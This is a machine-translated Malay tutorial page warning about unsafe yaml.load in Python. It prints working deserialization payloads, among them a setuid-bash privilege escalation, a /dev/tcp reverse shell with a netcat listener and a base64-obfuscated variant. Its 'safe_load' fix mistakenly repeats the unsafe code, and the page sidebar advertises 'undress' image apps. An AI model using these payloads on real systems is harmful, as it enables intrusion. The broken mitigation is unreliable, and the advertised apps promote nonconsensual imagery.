cari
Rumahpembangunan bahagian belakangTutorial PythonBerhati-hati Apabila Menggunakan YAML dalam Python! Mungkin Terdapat Kerentanan Keselamatan

Be Careful When Using YAML in Python! There May Be Security Vulnerabilities

Pustaka YAML (YAML Ain't Markup Language) dalam Python telah dikenal pasti mempunyai kelemahan yang membenarkan pelaksanaan arahan sewenang-wenangnya dalam keadaan tertentu. Kerentanan timbul daripada penggunaan fungsi yaml.load tanpa menyatakan pemuat selamat. Secara lalai, yaml.load boleh melaksanakan objek Python sewenang-wenangnya, yang mencipta permukaan serangan untuk muatan berniat jahat.

Eksploitasi melalui Pelaksanaan Arahan Arbitrari

Risiko asas terletak pada proses penyahserikatan. Apabila dokumen YAML mengandungi muatan berniat jahat, yaml.load memproses arahan terbenam, yang berpotensi membawa kepada pelaksanaan kod. Sebagai contoh, pertimbangkan coretan berikut:

import yaml

filename = "example.yml"
data = open(filename, 'r').read()
yaml.load(data)  # Unsafe usage

Di sini, fungsi yaml.load menghuraikan example.yml tanpa sekatan, menjadikannya terdedah jika kandungan YAML termasuk arahan yang tidak selamat. Muatan eksploitasi biasa boleh dibuat untuk melaksanakan arahan sistem sewenang-wenangnya.

Contoh Muatan

import yaml
from yaml import Loader, UnsafeLoader

# Malicious payload
payload = b'!!python/object/new:os.system ["cp `which bash` /tmp/bash;chown root /tmp/bash;chmod u+sx /tmp/bash"]'

# Exploitation
yaml.load(payload)
yaml.load(payload, Loader=Loader)
yaml.load(payload, Loader=UnsafeLoader)

Setiap seruan ini memproses muatan, menghasilkan penciptaan boleh laku istimewa dalam /tmp/bash. Perduaan ini kemudiannya boleh dilaksanakan dengan keistimewaan yang tinggi:

/tmp/bash -p

Ini menunjukkan potensi peningkatan keistimewaan jika kelemahan dieksploitasi pada sistem dengan kebenaran tersalah konfigurasi atau kelemahan lain.

Eksploitasi Shell Terbalik

Kes penggunaan yang sangat berbahaya adalah memanfaatkan kelemahan untuk cangkerang terbalik. Ini membolehkan penyerang mendapat akses jauh ke mesin sasaran. Proses ini melibatkan memulakan pendengar pada mesin penyerang dan mencipta dokumen YAML yang direka bentuk untuk mewujudkan sambungan terbalik.

Pada mesin penyerang, mulakan pendengar Netcat:

nc -lvnp 1234

Pada sistem sasaran, laksanakan skrip Python berikut sebagai akar:

import yaml

# Reverse shell payload
data = '!!python/object/new:os.system ["bash -c \"bash -i >& /dev/tcp/10.0.0.1/1234 0>&1\""]'
yaml.load(data)  # Executes the reverse shell

Muatan muatan ini mengarahkan mesin sasaran untuk menyambung kembali kepada pendengar penyerang, menyediakan cangkerang interaktif sepenuhnya dengan keistimewaan proses pelaksanaan.

Pengekodan Base64 untuk Obfuscation

Untuk memintas kawalan atau penapis keselamatan asas, muatan boleh dikodkan Base64. Kaedah ini menambahkan lapisan pengeliruan, yang berpotensi mengelak pengesanan oleh alat analisis statik.

Contoh

from base64 import b64decode
import yaml

# Base64-encoded payload
encoded_payload = b"ISFweXRa...YXNoIl0="  # Truncated for brevity
payload = b64decode(encoded_payload)

# Execute the payload
yaml.load(payload)

Teknik Tebatan

Para profesional mesti mengamalkan amalan pengekodan yang ketat untuk menghapuskan kelemahan tersebut. Mitigasi yang disyorkan termasuk:

  1. Menggunakan Pemuat Selamat: Gantikan yaml.load dengan yaml.safe_load, yang menghalang pelaksanaan objek sewenang-wenangnya.

    import yaml
    
    filename = "example.yml"
    data = open(filename, 'r').read()
    yaml.load(data)  # Unsafe usage
    
  2. Menghadkan Sumber Input: Pastikan input YAML dibersihkan dan hanya berasal daripada sumber yang dipercayai.

  3. Menggunakan Analisis Statik: Gunakan alatan untuk mengimbas pangkalan kod untuk seruan yaml.load yang tidak selamat.

  4. Pengerasan Alam Sekitar: Hadkan kebenaran sistem untuk meminimumkan kesan eksploitasi. Contohnya, menggunakan persekitaran kontena mengehadkan keupayaan penyerang untuk meningkatkan keistimewaan.


Tingkah laku lalai pustaka YAML menunjukkan risiko yang berkaitan dengan penyahserikatan dalam bahasa yang ditaip secara dinamik seperti Python. Mengeksploitasi kelemahan ini memerlukan kecanggihan yang minimum, menjadikannya isu keutamaan tinggi untuk pembangunan aplikasi yang selamat. Mengguna pakai amalan pengekodan selamat, bersama-sama dengan pengesahan input yang mantap dan perlindungan masa jalan, adalah penting untuk mengurangkan risiko ini dengan berkesan.

Atas ialah kandungan terperinci Berhati-hati Apabila Menggunakan YAML dalam Python! Mungkin Terdapat Kerentanan Keselamatan. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Kenyataan
Kandungan artikel ini disumbangkan secara sukarela oleh netizen, dan hak cipta adalah milik pengarang asal. Laman web ini tidak memikul tanggungjawab undang-undang yang sepadan. Jika anda menemui sebarang kandungan yang disyaki plagiarisme atau pelanggaran, sila hubungi admin@php.cn
Bagaimana tatasusunan digunakan dalam pengkomputeran saintifik dengan python?Bagaimana tatasusunan digunakan dalam pengkomputeran saintifik dengan python?Apr 25, 2025 am 12:28 AM

Arraysinpython, terutamanya yang, arecrucialinscientificificputingputingfortheirefficiencyandversatility.1) mereka yang digunakan untuk

Bagaimana anda mengendalikan versi python yang berbeza pada sistem yang sama?Bagaimana anda mengendalikan versi python yang berbeza pada sistem yang sama?Apr 25, 2025 am 12:24 AM

Anda boleh menguruskan versi python yang berbeza dengan menggunakan Pyenv, Venv dan Anaconda. 1) Gunakan pyenv untuk menguruskan pelbagai versi python: Pasang pyenv, tetapkan versi global dan tempatan. 2) Gunakan VENV untuk mewujudkan persekitaran maya untuk mengasingkan kebergantungan projek. 3) Gunakan Anaconda untuk menguruskan versi python dalam projek sains data anda. 4) Simpan sistem python untuk tugas peringkat sistem. Melalui alat dan strategi ini, anda dapat menguruskan versi Python yang berbeza untuk memastikan projek yang lancar.

Apakah beberapa kelebihan menggunakan array numpy melalui array python standard?Apakah beberapa kelebihan menggunakan array numpy melalui array python standard?Apr 25, 2025 am 12:21 AM

Numpyarrayshaveseveraladvantagesoverstanderardpythonarrays: 1) thearemuchfasterduetoc-assedimplementation, 2) thearemorememory-efficient, antyedlargedataSets, and3) theyofferoptimized, vectorizedfuncionsformathhematicalicalicalicialisation

Bagaimanakah sifat tatasusunan homogen mempengaruhi prestasi?Bagaimanakah sifat tatasusunan homogen mempengaruhi prestasi?Apr 25, 2025 am 12:13 AM

Kesan homogenitas tatasusunan pada prestasi adalah dwi: 1) homogenitas membolehkan pengkompil untuk mengoptimumkan akses memori dan meningkatkan prestasi; 2) tetapi mengehadkan kepelbagaian jenis, yang boleh menyebabkan ketidakcekapan. Singkatnya, memilih struktur data yang betul adalah penting.

Apakah beberapa amalan terbaik untuk menulis skrip python yang boleh dilaksanakan?Apakah beberapa amalan terbaik untuk menulis skrip python yang boleh dilaksanakan?Apr 25, 2025 am 12:11 AM

ToCraftExecutablePythonscripts, ikutiTheseBestPractics: 1) addAshebangline (#!/Usr/bin/envpython3) tomakethescriptexecutable.2) setpermissionswithchmod xyour_script.py.3)

Bagaimanakah array numpy berbeza dari tatasusunan yang dibuat menggunakan modul array?Bagaimanakah array numpy berbeza dari tatasusunan yang dibuat menggunakan modul array?Apr 24, 2025 pm 03:53 PM

Numpyarraysarebetterfornumericationsoperationsandmulti-dimensialdata, whiletheArrayModuleissuitiableforbasic, ingatan-efisienArrays.1) numpyexcelsinperformanceandfunctionalityforlargedatasetsandcomplexoperations.2) thearrayModeMoremoremory-efficientModeMoremoremoremory-efficientModeMoremoremoremory-efficenceismemoremoremoremoremoremoremoremory-efficenceismemoremoremoremoremorem

Bagaimanakah penggunaan array Numpy berbanding dengan menggunakan array modul array di Python?Bagaimanakah penggunaan array Numpy berbanding dengan menggunakan array modul array di Python?Apr 24, 2025 pm 03:49 PM

NumpyarraysareBetterforheavynumericalcomputing, whilethearraymoduleismoresuitifFormemory-constrainedprojectswithsimpledatypes.1) numpyarraysofferversativilityandperformanceForlargedATAsetSandcomplexoperations.2)

Bagaimanakah modul CTYPES berkaitan dengan tatasusunan di Python?Bagaimanakah modul CTYPES berkaitan dengan tatasusunan di Python?Apr 24, 2025 pm 03:45 PM

ctypesallowscreatingandmanipulatingc-stylearraysinpython.1) usectypestointerwithclibrariesforperformance.2) createec-stylearraysfornumericalcomputations.3) Passarraystocfuntionsforficientsoperations.however, becautiousofmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmem

See all articles

Alat AI Hot

Undresser.AI Undress

Undresser.AI Undress

Apl berkuasa AI untuk mencipta foto bogel yang realistik

AI Clothes Remover

AI Clothes Remover

Alat AI dalam talian untuk mengeluarkan pakaian daripada foto.

Undress AI Tool

Undress AI Tool

Gambar buka pakaian secara percuma

Clothoff.io

Clothoff.io

Penyingkiran pakaian AI

Video Face Swap

Video Face Swap

Tukar muka dalam mana-mana video dengan mudah menggunakan alat tukar muka AI percuma kami!

Alat panas

SecLists

SecLists

SecLists ialah rakan penguji keselamatan muktamad. Ia ialah koleksi pelbagai jenis senarai yang kerap digunakan semasa penilaian keselamatan, semuanya di satu tempat. SecLists membantu menjadikan ujian keselamatan lebih cekap dan produktif dengan menyediakan semua senarai yang mungkin diperlukan oleh penguji keselamatan dengan mudah. Jenis senarai termasuk nama pengguna, kata laluan, URL, muatan kabur, corak data sensitif, cangkerang web dan banyak lagi. Penguji hanya boleh menarik repositori ini ke mesin ujian baharu dan dia akan mempunyai akses kepada setiap jenis senarai yang dia perlukan.

SublimeText3 Linux versi baharu

SublimeText3 Linux versi baharu

SublimeText3 Linux versi terkini

DVWA

DVWA

Damn Vulnerable Web App (DVWA) ialah aplikasi web PHP/MySQL yang sangat terdedah. Matlamat utamanya adalah untuk menjadi bantuan bagi profesional keselamatan untuk menguji kemahiran dan alatan mereka dalam persekitaran undang-undang, untuk membantu pembangun web lebih memahami proses mengamankan aplikasi web, dan untuk membantu guru/pelajar mengajar/belajar dalam persekitaran bilik darjah Aplikasi web keselamatan. Matlamat DVWA adalah untuk mempraktikkan beberapa kelemahan web yang paling biasa melalui antara muka yang mudah dan mudah, dengan pelbagai tahap kesukaran. Sila ambil perhatian bahawa perisian ini

ZendStudio 13.5.1 Mac

ZendStudio 13.5.1 Mac

Persekitaran pembangunan bersepadu PHP yang berkuasa

Pelayar Peperiksaan Selamat

Pelayar Peperiksaan Selamat

Pelayar Peperiksaan Selamat ialah persekitaran pelayar selamat untuk mengambil peperiksaan dalam talian dengan selamat. Perisian ini menukar mana-mana komputer menjadi stesen kerja yang selamat. Ia mengawal akses kepada mana-mana utiliti dan menghalang pelajar daripada menggunakan sumber yang tidak dibenarkan.